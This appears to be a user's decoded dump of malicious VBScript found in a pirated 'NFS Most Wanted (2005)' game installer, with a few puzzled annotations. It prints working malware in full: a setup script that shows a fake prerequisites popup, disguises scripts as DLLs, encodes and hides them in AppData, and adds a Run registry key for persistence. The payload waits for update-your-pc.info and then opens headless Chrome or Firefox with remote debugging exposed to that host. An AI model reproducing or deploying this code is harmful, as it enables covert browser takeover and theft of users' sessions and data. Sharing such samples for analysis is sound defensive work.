#files taken from NFS Most Wanted (2005) setup package

#setup.vbe, decoded

#----------------------

On Error Resume Next

Dim max,min

max=999999999999999

min=111111111111111

Randomize

randomstr=Int((max-min+1)*Rnd+min)

Dim folder

Set folder = CreateObject( "WScript.Shell" )

TIMEOUT = 3

folder.Popup "Please Wait Pre-Requisites are Installing...This will take Just few Seconds!!", TIMEOUT

Dim oFSO

Set oFSO = CreateObject("Scripting.FileSystemObject")

sScriptDir = oFSO.GetParentFolderName(WScript.ScriptFullName)

If oFSO.FileExists(oFSO.BuildPath(sScriptDir, "libraries\vcruntime140dd.dll")) Then

oFSO.CopyFile oFSO.BuildPath(sScriptDir, "libraries\vcruntime140dd.dll"), oFSO.BuildPath(sScriptDir, "libraries\MicrosoftRuntimeUpdate.vbs")

End If

If oFSO.FileExists(oFSO.BuildPath(sScriptDir, "libraries\vcruntime140gg.dll")) Then

oFSO.CopyFile oFSO.BuildPath(sScriptDir, "libraries\vcruntime140gg.dll"), oFSO.BuildPath(sScriptDir, "libraries\encode.vbs")

End If

Const ForReading = 1

Const ForWriting = 2

Set objFile = oFSO.OpenTextFile(oFSO.BuildPath(sScriptDir, "libraries\MicrosoftRuntimeUpdate.vbs"), ForReading)

strText = objFile.ReadAll

objFile.Close

strNewText = Replace(strText, "RANDOMNUMBER", randomstr)

Set objFile = oFSO.OpenTextFile(oFSO.BuildPath(sScriptDir, "libraries\MicrosoftRuntimeUpdate.vbs"), ForWriting)

objFile.WriteLine strNewText

objFile.Close

folder.Run """" & oFSO.BuildPath(sScriptDir, "libraries\encode.vbs") & """ """ & oFSO.BuildPath(sScriptDir, "libraries\MicrosoftRuntimeUpdate.vbs") & """",0, true

oFSO.DeleteFile oFSO.BuildPath(sScriptDir, "libraries\MicrosoftRuntimeUpdate.vbs")

oFSO.DeleteFile oFSO.BuildPath(sScriptDir, "libraries\encode.vbs")

appDataLocation=folder.ExpandEnvironmentStrings("%APPDATA%")

oFSO.CopyFolder oFSO.BuildPath(sScriptDir, "libraries") , appDataLocation & "\"

folder.Run """" & oFSO.BuildPath(sScriptDir, "vcredist\VBCRedist_AIO_x86_x64.exe") & """ /ai", 0, false

folder.Run "reg add ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run"" /v MicrosoftRuntimeUpdate /t REG_EXPAND_SZ /d """ & appDataLocation & "\libraries\MicrosoftRuntimeUpdate.vbe"" /f"

Dim strRename

strRename = "main.exe"

If oFSO.FileExists(oFSO.BuildPath(sScriptDir, "dxlibraries.txt")) Then

Set objFileToRead = oFSO.OpenTextFile(oFSO.BuildPath(sScriptDir, "dxlibraries.txt"),1)

strRename = objFileToRead.ReadAll()

strRename = Replace(strRename, vbCr, "")

strRename = Replace(strRename, vbLf, "")

If strRename = Empty Then

strRename = "main.exe"

End If

End If

strFile = "msvcr100d9.dll"

If oFSO.FileExists(oFSO.BuildPath(sScriptDir, strFile)) Then

oFSO.MoveFile strFile, strRename

End If

folder.Run Chr(34) & strRename & Chr(34), 1

#----------------------

#libraries\vcruntime140dd.dll

#this file becomes MicrosoftRuntimeUpdate.vbs and is the huge red flag

#only works if Chrome and/or Firefox is installed

#----------------------

on Error Resume Next

Sub Pause(NSeconds)

Wscript.Sleep(NSeconds*3000)

End Sub

Dim visualcpp

Set visualcpp = CreateObject("WScript.Shell")

counter = True

While counter = True

website = "update-your-pc.info"

checkstring = "ping -n 1 -w 300 " & website

status = visualcpp.Run(checkstring, 0 , True)

If status = 0 Then

counter = False

Else

Pause(21)

End If

Wend

returncodestatus = "1"

returncodestatus = visualcpp.run("chrome --headless --disable-gpu --remote-debugging-port=9222 http://www.RANDOMNUMBER.update-your-pc.info",0,false)

if returncodestatus <> 0 then

returncodestatus=visualcpp.run("firefox -no-remote -CreateProfile user",0,false)

returncodestatus=visualcpp.run("firefox -no-remote -headless -new-instance -P ""user"" --start-debugger-server ws:6000 http://www.RANDOMNUMBER.update-your-pc.info",0,false)

End If

#----------------------

#libraries\vcruntime140gg.dll

#this file becomes encode.vbs

#not sure what this does?

#----------------------

Option Explicit

dim oEncoder, oFilesToEncode, file, sDest

dim sFileOut, oFile, oEncFile, oFSO, i

dim oStream, sSourceFile

set oFilesToEncode = WScript.Arguments

set oEncoder = CreateObject("Scripting.Encoder")

For i = 0 to oFilesToEncode.Count - 1

set oFSO = CreateObject("Scripting.FileSystemObject")

file = oFilesToEncode(i)

set oFile = oFSO.GetFile(file)

Set oStream = oFile.OpenAsTextStream(1)

sSourceFile=oStream.ReadAll

oStream.Close

sDest = oEncoder.EncodeScriptFile(".vbs",sSourceFile,0,"")

sFileOut = Left(file, Len(file) - 3) & "vbe"

Set oEncFile = oFSO.CreateTextFile(sFileOut)

oEncFile.Write sDest

oEncFile.Close